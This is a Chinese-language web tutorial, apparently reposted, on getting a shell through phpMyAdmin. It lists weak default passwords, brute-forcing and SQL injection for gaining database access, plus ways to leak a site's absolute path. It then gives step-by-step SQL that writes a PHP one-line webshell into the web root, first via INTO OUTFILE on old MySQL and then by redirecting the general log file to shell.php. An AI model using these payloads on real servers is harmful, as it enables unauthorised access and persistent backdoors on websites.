phpMyAdmin拿shell的兩種方法


一.phpMyAdmin用戶名和密碼
1.如何獲取phpMyAdmin用戶名和密碼:
弱口令
root/root
root/空密碼
root/123456
phpMyAdmin爆破工具
信息泄露(配置文件等)
sql注入
等等


2.網站絕對路徑,如何獲取網站的絕對路徑呢?
單引號爆絕對路徑
xx.asp?id=1’
錯誤參數值爆絕對路徑
xx.asp?id=-1
搜索引擎搜索絕對路徑
site:xxx.com error
site:xxx.com warning
site:xxx.com fatal error
測試文件獲取絕對路徑
phpinfo.php
test.php
ceshi.php
info.php
php_info.php
等等

 

二.Phpmyadmin拿shell的兩種方法

1.低版本Mysql
Mysql低於5.0,可以直接通過outfile寫入:

SELECT "<?php @assert($_REQUEST["admin"]);?>" INTO OUTFILE  '/網站絕對路徑/shell.php'


2.高版本Mysql
(1)通過以下SQL語句可以查詢secure_file_priv(secure-file-priv是全局變量,指定文件夾作為導出文件存放的地方,這個值是只讀的)是否為null:

show variables like '%secure%'

從下圖可以看到我的靶機secure_file_priv值為null:

 

(2)通過以下SQL語句可以查詢到日志保存狀態(ON代表開啟 OFF代表關閉)和日志的保存路徑:

show variables like '%general%'

從下圖可以看到我的靶機是關閉日志保存的,還有日志保存的路徑在哪:

 

(3)因此通過以下SQL語句修改general_log的值,開啟日志保存:

set global general_log='on';


(4)通過以下SQL語句修改日志保存的路徑(general_log_file值):

SET global general_log_file='<網站絕對路徑>/shell.php'


(5)再次執行以下SQL語句,查詢是否成功更改:

show variables like '%general%'

從下圖可以看到,成功通過SQL語句修改成功了:

 

(6)執行以下SQL語句,以下SQL語句將會被寫入到日志文件(shell.php)中:

SELECT '<?php @assert($_REQUEST["admin"]);?>';

從下圖可以看到一句話木馬寫入了日志文件中: 通過URL訪問,成功被執行了! 圖片

 

(7)通過URL訪問,成功被執行了!

 


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM